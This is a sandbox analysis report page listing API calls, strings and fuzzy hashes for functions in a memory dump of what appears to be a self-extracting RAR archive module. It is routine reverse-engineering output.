Associated: 00000009.00000002.1773035878.0000000000D73000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773035878.0000000000D84000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773126393.0000000000D85000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_d20000_4.jbxd

Similarity

API ID: H_prolog
String ID: Name$ROOT\CIMV2$SELECT * FROM Win32_OperatingSystem$WQL$Windows 10
API String ID: 3519838083-3505469590
Opcode ID: 545402c8a22e8f647aaa2326c49ebfd3685ddb3e083fe49ffc41443ee71577f9
Instruction ID: 5273742fc8aec56a61e5053d83094dda6447117462e6587528fe17b8377ca24c
Opcode Fuzzy Hash: 545402c8a22e8f647aaa2326c49ebfd3685ddb3e083fe49ffc41443ee71577f9
Instruction Fuzzy Hash: 90716B71A10329AFDF14DFA4D8949AEB7B9FF48319B144559E802E72A0CB30AD45CB70

Function 00D3E8DF Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 184COMMON

Download Yara Rule

APIs

_wcslen.LIBCMT ref: 00D3E8FE
ShowWindow.USER32(?,00000000), ref: 00D3EA6D
GetExitCodeProcess.KERNEL32(?,?), ref: 00D3EAA9
CloseHandle.KERNEL32(?), ref: 00D3EACF
ShowWindow.USER32(?,00000001), ref: 00D3EB31

Strings

.exe, xrefs: 00D3EAD9
.inf, xrefs: 00D3E9EA

Memory Dump Source

Source File: 00000009.00000002.1772962722.0000000000D21000.00000020.00000001.01000000.00000010.sdmp, Offset: 00D20000, based on PE: true

Associated: 00000009.00000002.1772935219.0000000000D20000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773008826.0000000000D54000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773035878.0000000000D60000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773035878.0000000000D67000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773035878.0000000000D73000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773035878.0000000000D84000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773126393.0000000000D85000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_d20000_4.jbxd

Similarity

API ID: ShowWindow$CloseCodeExitHandleProcess_wcslen
String ID: .exe$.inf
API String ID: 783751319-3750412487
Opcode ID: b65cccc4a682dd8c4da3662a6bfb76c5206c298c818d98ab8fbaad43f4e0f651
Instruction ID: 4aeded0582752a6a53ec25694e21a8af6b4b58ae34a2b6f55d70f0ee258d1827
Opcode Fuzzy Hash: b65cccc4a682dd8c4da3662a6bfb76c5206c298c818d98ab8fbaad43f4e0f651
Instruction Fuzzy Hash: 4851CF341483809ADB319B21D844BABBBE5AF80744F0C481DF9C5D72D1EB718989DB72

Function 00D2A5E9 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 135fileCOMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 00D2A5EE
GetLongPathNameW.KERNEL32(?,?,00000800), ref: 00D2A611
GetShortPathNameW.KERNEL32(?,?,00000800), ref: 00D2A630

Part of subcall function 00D2D6A7: _wcslen.LIBCMT ref: 00D2D6AF

Part of subcall function 00D33316: CompareStringW.KERNEL32(00000400,00001001,?,000000FF,?,Function_00013316,00D2D523,00000000,.exe,?,?,00000800,?,?,?,00D39E5C), ref: 00D3332C

_swprintf.LIBCMT ref: 00D2A6CC

Part of subcall function 00D24A20: __vswprintf_c_l.LEGACY_STDIO_DEFINITIONS ref: 00D24A33

MoveFileW.KERNEL32(?,?), ref: 00D2A73B
MoveFileW.KERNEL32(?,?), ref: 00D2A77B

Strings

rtmp%d, xrefs: 00D2A6B5

Memory Dump Source

Source File: 00000009.00000002.1772962722.0000000000D21000.00000020.00000001.01000000.00000010.sdmp, Offset: 00D20000, based on PE: true

Associated: 00000009.00000002.1772935219.0000000000D20000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773008826.0000000000D54000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773035878.0000000000D60000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773035878.0000000000D67000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773035878.0000000000D73000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773035878.0000000000D84000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773126393.0000000000D85000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_d20000_4.jbxd

Similarity

API ID: FileMoveNamePath$CompareH_prologLongShortString__vswprintf_c_l_swprintf_wcslen
String ID: rtmp%d
API String ID: 3726343395-3303766350
Opcode ID: 5d215601d9e1f1634bf15b353d345155e4128f27941f82827032c6d541ddb7bf
Instruction ID: b56f08eba4382d958a47edd4930cf6da440984363ba461ecfcc0bb5f84b39415
Opcode Fuzzy Hash: 5d215601d9e1f1634bf15b353d345155e4128f27941f82827032c6d541ddb7bf
Instruction Fuzzy Hash: 82416E719006396BCF20ABA8EC54EEF737DEF64349F0804A5B545E3046DB348A858F75

Function 00D32538 Relevance: 12.1, APIs: 8, Instructions: 125timeCOMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 00D3254E

Part of subcall function 00D2C619: GetVersionExW.KERNEL32(?), ref: 00D2C63E

FileTimeToLocalFileTime.KERNEL32(00000003,00000000,00000003,?,00000064,00000000,00000000,00000001), ref: 00D32571
FileTimeToSystemTime.KERNEL32(00000003,?,00000003,?,00000064,00000000,00000000,00000001), ref: 00D32583
SystemTimeToTzSpecificLocalTime.KERNEL32(00000000,?,?), ref: 00D32594
SystemTimeToFileTime.KERNEL32(?,?), ref: 00D325A4
SystemTimeToFileTime.KERNEL32(?,?), ref: 00D325B4
FileTimeToSystemTime.KERNEL32(?,?,?), ref: 00D325EF
__aullrem.LIBCMT ref: 00D32699

Memory Dump Source

Source File: 00000009.00000002.1772962722.0000000000D21000.00000020.00000001.01000000.00000010.sdmp, Offset: 00D20000, based on PE: true

Associated: 00000009.00000002.1772935219.0000000000D20000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773008826.0000000000D54000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773035878.0000000000D60000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773035878.0000000000D67000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773035878.0000000000D73000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773035878.0000000000D84000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773126393.0000000000D85000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_d20000_4.jbxd

Similarity

API ID: Time$File$System$Local$SpecificVersion__aulldiv__aullrem
String ID:
API String ID: 1247370737-0
Opcode ID: aa24dbecaec7e78d6493be89e22b93d5e1605c41c75bbad03c662d3893e0fdb8
Instruction ID: f83dd0fed4935ec71a984f2c1ffd9debde6fc805da5f6680f36e00ae5aa3c66e
Opcode Fuzzy Hash: aa24dbecaec7e78d6493be89e22b93d5e1605c41c75bbad03c662d3893e0fdb8
Instruction Fuzzy Hash: 4B411AB29083059FC714DF65D88496BBBF9FF88315F04892EF99AC2210E734E549CB62

Function 00D3AD1E Relevance: 10.7, APIs: 1, Strings: 5, Instructions: 183COMMON

Download Yara Rule

APIs

_wcslen.LIBCMT ref: 00D3AD2A

Strings

<br>, xrefs: 00D3AE1E
</style>, xrefs: 00D3AE72
</p>, xrefs: 00D3AE08
>, xrefs: 00D3AD6B
<style>, xrefs: 00D3AE50

Memory Dump Source

Source File: 00000009.00000002.1772962722.0000000000D21000.00000020.00000001.01000000.00000010.sdmp, Offset: 00D20000, based on PE: true

Associated: 00000009.00000002.1772935219.0000000000D20000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773008826.0000000000D54000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773035878.0000000000D60000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773035878.0000000000D67000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773035878.0000000000D73000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773035878.0000000000D84000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773126393.0000000000D85000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_d20000_4.jbxd

Similarity

API ID: _wcslen
String ID: </p>$</style>$<br>$<style>$>
API String ID: 176396367-3568243669
Opcode ID: 05b2dc65374fa4789738e5d42ea5238e4ccb0e795c7dfd7a931af8a15caa0461
Instruction ID: 1e1592cca337693540519679f98af7487c32162f3bb6f6ae7ab547c0a3407519
Opcode Fuzzy Hash: 05b2dc65374fa4789738e5d42ea5238e4ccb0e795c7dfd7a931af8a15caa0461
Instruction Fuzzy Hash: B051F56674132396DB345A1CAC21B7673E0DFA4792F6C442BFDC1AB5C0FB698D818272

Function 00D5084D Relevance: 10.7, APIs: 7, Instructions: 152fileCOMMON

Download Yara Rule

APIs

GetConsoleCP.KERNEL32(00000000,00000000,?,?,?,?,?,?,?,00D50FC2,00000000,00000000,00000000,00000000,00000000,?), ref: 00D5088F
__fassign.LIBCMT ref: 00D5090A
__fassign.LIBCMT ref: 00D50925
WideCharToMultiByte.KERNEL32(?,00000000,00000000,00000001,00000000,00000005,00000000,00000000), ref: 00D5094B
WriteFile.KERNEL32(?,00000000,00000000,00D50FC2,00000000,?,?,?,?,?,?,?,?,?,00D50FC2,00000000), ref: 00D5096A
WriteFile.KERNEL32(?,00000000,00000001,00D50FC2,00000000,?,?,?,?,?,?,?,?,?,00D50FC2,00000000), ref: 00D509A3

Memory Dump Source

Source File: 00000009.00000002.1772962722.0000000000D21000.00000020.00000001.01000000.00000010.sdmp, Offset: 00D20000, based on PE: true

Associated: 00000009.00000002.1772935219.0000000000D20000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773008826.0000000000D54000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773035878.0000000000D60000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773035878.0000000000D67000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773035878.0000000000D73000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773035878.0000000000D84000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773126393.0000000000D85000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_d20000_4.jbxd

Similarity

API ID: FileWrite__fassign$ByteCharConsoleMultiWide
String ID:
API String ID: 1324828854-0
Opcode ID: 46541c26f72f5a76cd44b0b61c140edcae9c57cbce10d6e01fc3cfa035567d4b
Instruction ID: 7d6d263f2847a5aca88c41cd441510c623e094fb2f158327ba437c75ee9303d2
Opcode Fuzzy Hash: 46541c26f72f5a76cd44b0b61c140edcae9c57cbce10d6e01fc3cfa035567d4b
Instruction Fuzzy Hash: 8A516171A00249AFDF10CFA8D845BEEBBF8EB49311F18411AEE55E7252E6309945CF71

Function 00D43A90 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 120COMMON

Download Yara Rule

APIs

_ValidateLocalCookies.LIBCMT ref: 00D43AC7
___except_validate_context_record.LIBVCRUNTIME ref: 00D43ACF
_ValidateLocalCookies.LIBCMT ref: 00D43B58
__IsNonwritableInCurrentImage.LIBCMT ref: 00D43B83
_ValidateLocalCookies.LIBCMT ref: 00D43BD8

Strings

csm, xrefs: 00D43B6D

Memory Dump Source

Source File: 00000009.00000002.1772962722.0000000000D21000.00000020.00000001.01000000.00000010.sdmp, Offset: 00D20000, based on PE: true

Associated: 00000009.00000002.1772935219.0000000000D20000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773008826.0000000000D54000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773035878.0000000000D60000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773035878.0000000000D67000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773035878.0000000000D73000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773035878.0000000000D84000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773126393.0000000000D85000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_d20000_4.jbxd

Similarity

API ID: CookiesLocalValidate$CurrentImageNonwritable___except_validate_context_record
String ID: csm
API String ID: 1170836740-1018135373
Opcode ID: 3b07e420ce82850f403d4909f038d27ef03d8b898373abb0c987768146722332
Instruction ID: 3919a9db8c88d1b404a8f1936ee7e812d95192d5261307f233e806cef042df61
Opcode Fuzzy Hash: 3b07e420ce82850f403d4909f038d27ef03d8b898373abb0c987768146722332
Instruction Fuzzy Hash: 9C41BD34A00258AFCF10DF6DC885B9EBBB4EF45324F188155E814AB392C771EA55CBB1

Function 00D3AEF5 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 116COMMON

Download Yara Rule

APIs

ShowWindow.USER32(?,00000000), ref: 00D3AF0E
GetWindowRect.USER32(?,?), ref: 00D3AF64
ShowWindow.USER32(?,00000005,00000000), ref: 00D3B001
SetWindowTextW.USER32(?,00000000), ref: 00D3B009
ShowWindow.USER32(00000000,00000005), ref: 00D3B01F

Strings

RarHtmlClassName, xrefs: 00D3AFC5

Memory Dump Source

Source File: 00000009.00000002.1772962722.0000000000D21000.00000020.00000001.01000000.00000010.sdmp, Offset: 00D20000, based on PE: true

Associated: 00000009.00000002.1772935219.0000000000D20000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773008826.0000000000D54000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773035878.0000000000D60000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773035878.0000000000D67000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773035878.0000000000D73000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773035878.0000000000D84000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773126393.0000000000D85000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_d20000_4.jbxd

Similarity

API ID: Window$Show$RectText
String ID: RarHtmlClassName
API String ID: 3937224194-1658105358
Opcode ID: 56eefa9553597a2344b58434b80c5e7311e8ede00d6ec3f2d819a866c7608f67
Instruction ID: 587a281c91798883114bc54a0ccce6ad5073bc146c706f957e56bdea6ab504ea
Opcode Fuzzy Hash: 56eefa9553597a2344b58434b80c5e7311e8ede00d6ec3f2d819a866c7608f67
Instruction Fuzzy Hash: E641DF72504308AFCB219F24EC4DB6B7FE8EF08751F18455AF9899A15ADB70D804CB76

Function 00D3A975 Relevance: 10.6, APIs: 2, Strings: 4, Instructions: 106COMMON

Download Yara Rule

APIs

_wcslen.LIBCMT ref: 00D3A97E
_wcslen.LIBCMT ref: 00D3A9B3

Strings

<br>, xrefs: 00D3A9FF
, xrefs: 00D3A9D0
 , xrefs: 00D3AA41
<style>body{font-family:"Arial";font-size:12;}</style>, xrefs: 00D3A9A7

Memory Dump Source

Source File: 00000009.00000002.1772962722.0000000000D21000.00000020.00000001.01000000.00000010.sdmp, Offset: 00D20000, based on PE: true

Associated: 00000009.00000002.1772935219.0000000000D20000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773008826.0000000000D54000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773035878.0000000000D60000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773035878.0000000000D67000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773035878.0000000000D73000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773035878.0000000000D84000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773126393.0000000000D85000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_d20000_4.jbxd

Similarity

API ID: _wcslen
String ID: $ $<br>$<style>body{font-family:"Arial";font-size:12;}</style>
API String ID: 176396367-3743748572
Opcode ID: f39bb9601e818ae7e26d8977caf26f83f76b78e888714a3ab5a8c6362fc177c9
Instruction ID: 13dca0c22f888cb321c845b38cbc6e96a6c159aeabcc4062fdec82055d4d8805
Opcode Fuzzy Hash: f39bb9601e818ae7e26d8977caf26f83f76b78e888714a3ab5a8c6362fc177c9
Instruction Fuzzy Hash: 36313E237847019BD630AB589C42B7673E4EB90360F54841FF8D557280FB54AD94C3B7

Function 00D4DA64 Relevance: 10.6, APIs: 7, Instructions: 65COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 00D4DA28: _free.LIBCMT ref: 00D4DA51

_free.LIBCMT ref: 00D4DAB2

Part of subcall function 00D4A66A: RtlFreeHeap.NTDLL(00000000,00000000,?,00D4DA56,?,00000000,?,00000000,?,00D4DA7D,?,00000007,?,?,00D4DE7A,?), ref: 00D4A680
Part of subcall function 00D4A66A: GetLastError.KERNEL32(?,?,00D4DA56,?,00000000,?,00000000,?,00D4DA7D,?,00000007,?,?,00D4DE7A,?,?), ref: 00D4A692

_free.LIBCMT ref: 00D4DABD
_free.LIBCMT ref: 00D4DAC8
_free.LIBCMT ref: 00D4DB1C
_free.LIBCMT ref: 00D4DB27
_free.LIBCMT ref: 00D4DB32
_free.LIBCMT ref: 00D4DB3D

Memory Dump Source

Source File: 00000009.00000002.1772962722.0000000000D21000.00000020.00000001.01000000.00000010.sdmp, Offset: 00D20000, based on PE: true

Associated: 00000009.00000002.1772935219.0000000000D20000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773008826.0000000000D54000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773035878.0000000000D60000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773035878.0000000000D67000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773035878.0000000000D73000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773035878.0000000000D84000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773126393.0000000000D85000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_d20000_4.jbxd

Similarity

API ID: _free$ErrorFreeHeapLast
String ID:
API String ID: 776569668-0
Opcode ID: ed90a822092467ab948ce4ab8a4e5ff1fef504289117e408d2aed02f462530fb
Instruction ID: 2c70c6a8908278a50684ada8dd4da930685def0b63462107e337c865cd7f2885
Opcode Fuzzy Hash: ed90a822092467ab948ce4ab8a4e5ff1fef504289117e408d2aed02f462530fb
Instruction Fuzzy Hash: 2B1190719D4B04BBD620BBB1CC07FCB77AEEF24700F880C14B29AA6252DA74B5158772

Function 00D3F77A Relevance: 10.5, APIs: 3, Strings: 3, Instructions: 45libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(KERNEL32.DLL,?,?,00D3F7F5,00D3F758,00D3F9F9), ref: 00D3F791
GetProcAddress.KERNEL32(00000000,AcquireSRWLockExclusive), ref: 00D3F7A7
GetProcAddress.KERNEL32(00000000,ReleaseSRWLockExclusive), ref: 00D3F7BC

Strings

ReleaseSRWLockExclusive, xrefs: 00D3F7B1
KERNEL32.DLL, xrefs: 00D3F78C
AcquireSRWLockExclusive, xrefs: 00D3F7A1

Memory Dump Source

Source File: 00000009.00000002.1772962722.0000000000D21000.00000020.00000001.01000000.00000010.sdmp, Offset: 00D20000, based on PE: true

Associated: 00000009.00000002.1772935219.0000000000D20000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773008826.0000000000D54000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773035878.0000000000D60000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773035878.0000000000D67000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773035878.0000000000D73000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773035878.0000000000D84000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773126393.0000000000D85000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_d20000_4.jbxd

Similarity

API ID: AddressProc$HandleModule
String ID: AcquireSRWLockExclusive$KERNEL32.DLL$ReleaseSRWLockExclusive
API String ID: 667068680-1718035505
Opcode ID: b7762fd16d74d83e473a2c685631f4678933caaa911dd952691c06fa5738484e
Instruction ID: b6445cf4f48d62b98966b12f0db9bcae920a64f00e623c3046d26b2bbf6dafaf
Opcode Fuzzy Hash: b7762fd16d74d83e473a2c685631f4678933caaa911dd952691c06fa5738484e
Instruction Fuzzy Hash: 0AF0F6B1F513265B9F605F784CC456B62DC9A11B56B2C043BEE55D3340E610CC8957F1

Function 00D32799 Relevance: 9.1, APIs: 6, Instructions: 98timeCOMMON

Download Yara Rule

APIs

SystemTimeToFileTime.KERNEL32(?,?), ref: 00D327F1

Part of subcall function 00D2C619: GetVersionExW.KERNEL32(?), ref: 00D2C63E

LocalFileTimeToFileTime.KERNEL32(?,?), ref: 00D32815
FileTimeToSystemTime.KERNEL32(?,?), ref: 00D3282F
TzSpecificLocalTimeToSystemTime.KERNEL32(00000000,?,?), ref: 00D32842
SystemTimeToFileTime.KERNEL32(?,?), ref: 00D32852
SystemTimeToFileTime.KERNEL32(?,?), ref: 00D32862

Memory Dump Source

Source File: 00000009.00000002.1772962722.0000000000D21000.00000020.00000001.01000000.00000010.sdmp, Offset: 00D20000, based on PE: true

Associated: 00000009.00000002.1772935219.0000000000D20000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773008826.0000000000D54000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773035878.0000000000D60000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773035878.0000000000D67000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773035878.0000000000D73000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773035878.0000000000D84000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773126393.0000000000D85000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_d20000_4.jbxd

Similarity

API ID: Time$File$System$Local$SpecificVersion
String ID:
API String ID: 2092733347-0
Opcode ID: e2072904b104cd5142a96fb7e915c3a5afc714e95555eec9bcf9317452ef5747
Instruction ID: 21b3a1f784cef953968d7d0a3b3b17108ec2b3d76554d16a8189e13e016531b0
Opcode Fuzzy Hash: e2072904b104cd5142a96fb7e915c3a5afc714e95555eec9bcf9317452ef5747
Instruction Fuzzy Hash: 34311775108316ABC704DFA8D88499BBBF8FF98719F005A1EF999C3210E730D548CBA6

Function 00D43C8A Relevance: 9.1, APIs: 6, Instructions: 60COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32(?,?,00D43C81,00D43A3C,00D40BF4), ref: 00D43C98
___vcrt_FlsGetValue.LIBVCRUNTIME ref: 00D43CA6
___vcrt_FlsSetValue.LIBVCRUNTIME ref: 00D43CBF
SetLastError.KERNEL32(00000000,00D43C81,00D43A3C,00D40BF4), ref: 00D43D11

Memory Dump Source

Source File: 00000009.00000002.1772962722.0000000000D21000.00000020.00000001.01000000.00000010.sdmp, Offset: 00D20000, based on PE: true

Associated: 00000009.00000002.1772935219.0000000000D20000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773008826.0000000000D54000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773035878.0000000000D60000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773035878.0000000000D67000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773035878.0000000000D73000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773035878.0000000000D84000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773126393.0000000000D85000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_d20000_4.jbxd

Similarity

API ID: ErrorLastValue___vcrt_
String ID:
API String ID: 3852720340-0
Opcode ID: 4dc17904daba8befdb69d14e4365fd258ba575dfd112da2434991a5898398df2
Instruction ID: d523350d38f60e313cb8849d85b8e9e83b79445afd4c3fcbfa95119a510320af
Opcode Fuzzy Hash: 4dc17904daba8befdb69d14e4365fd258ba575dfd112da2434991a5898398df2
Instruction Fuzzy Hash: E201F7326193225FA614277CBCC572B2F54EB41775F340239F610A12E1EF915C4896F4

Function 00D4A515 Relevance: 9.0, APIs: 6, Instructions: 50COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32(?,00D63070,00D45982,00D63070,?,?,00D45281,00000050,?,00D63070,00000200), ref: 00D4A519
_free.LIBCMT ref: 00D4A54C
_free.LIBCMT ref: 00D4A574
SetLastError.KERNEL32(00000000,?,00D63070,00000200), ref: 00D4A581
SetLastError.KERNEL32(00000000,?,00D63070,00000200), ref: 00D4A58D
_abort.LIBCMT ref: 00D4A593

Memory Dump Source

Source File: 00000009.00000002.1772962722.0000000000D21000.00000020.00000001.01000000.00000010.sdmp, Offset: 00D20000, based on PE: true

Associated: 00000009.00000002.1772935219.0000000000D20000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773008826.0000000000D54000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773035878.0000000000D60000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773035878.0000000000D67000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773035878.0000000000D73000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773035878.0000000000D84000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773126393.0000000000D85000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_d20000_4.jbxd

Similarity

API ID: ErrorLast$_free$_abort
String ID:
API String ID: 3160817290-0
Opcode ID: f9ec6b9b958e0b79d348411b0ba85a7823cc076ded3f72b63175b3a0d80fb3db
Instruction ID: b82b6a03329dea7a255a33b734f3d40ca7fc956a44746e959dc87361fcc7ae10
Opcode Fuzzy Hash: f9ec6b9b958e0b79d348411b0ba85a7823cc076ded3f72b63175b3a0d80fb3db
Instruction Fuzzy Hash: 59F028351C0701A7D201336C6E0AF2B2A65CBC1762B2D0118FA58E62D2FE658D015577

Function 00D3ED8B Relevance: 9.0, APIs: 6, Instructions: 42windowsynchronizationCOMMON

Download Yara Rule

APIs

WaitForSingleObject.KERNEL32(?,0000000A), ref: 00D3ED97
PeekMessageW.USER32(?,00000000,00000000,00000000,00000000), ref: 00D3EDB1
GetMessageW.USER32(?,00000000,00000000,00000000), ref: 00D3EDC2
TranslateMessage.USER32(?), ref: 00D3EDCC
DispatchMessageW.USER32(?), ref: 00D3EDD6
WaitForSingleObject.KERNEL32(?,0000000A), ref: 00D3EDE1

Memory Dump Source

Source File: 00000009.00000002.1772962722.0000000000D21000.00000020.00000001.01000000.00000010.sdmp, Offset: 00D20000, based on PE: true

Associated: 00000009.00000002.1772935219.0000000000D20000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773008826.0000000000D54000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773035878.0000000000D60000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773035878.0000000000D67000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773035878.0000000000D73000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773035878.0000000000D84000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773126393.0000000000D85000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_d20000_4.jbxd

Similarity

API ID: Message$ObjectSingleWait$DispatchPeekTranslate
String ID:
API String ID: 2148572870-0
Opcode ID: fbf30c2696eb19bd85fa19ac886852c8f77442d032920d0c3f6ab955867f307a
Instruction ID: d34c91811cb01033dfb7f0721114bbf909c6cc736945a6656b827bd7ff488898
Opcode Fuzzy Hash: fbf30c2696eb19bd85fa19ac886852c8f77442d032920d0c3f6ab955867f307a
